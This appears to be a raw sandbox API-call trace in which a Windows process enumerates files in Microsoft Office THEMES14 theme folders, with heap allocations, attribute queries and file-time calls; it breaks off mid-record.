[0062.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.584] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.585] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf560 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae630 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf580 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae738 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.585] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.585] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf5a0 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae840 [0062.586] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.586] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.586] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf5c0 [0062.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfae948 [0062.586] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.586] GetLastError () returned 0x12 [0062.586] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.586] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.586] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.586] GetLastError () returned 0x12 [0062.586] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadbe0) returned 1 [0062.586] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadce8) returned 1 [0062.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.587] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.587] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0062.587] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb0410 [0062.587] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb0410, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb0410, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0062.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb0410) returned 1 [0062.587] NtClose (Handle=0x190) returned 0x0 [0062.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0062.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadce8 [0062.587] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0062.588] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.588] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfadbe0 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf5e0 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaea50 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf600 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaeb58 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf620 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaec60 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfaf640 [0062.589] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfaed68 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.589] GetLastError () returned 0x12 [0062.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0062.589] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0062.589] GetLastError () returned 0x12 [0062.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadce8) returned 1 [0062.589] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0062.590] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfadbe0) returned 1 [0062.590] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0062.590] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0062.590] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0062.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, 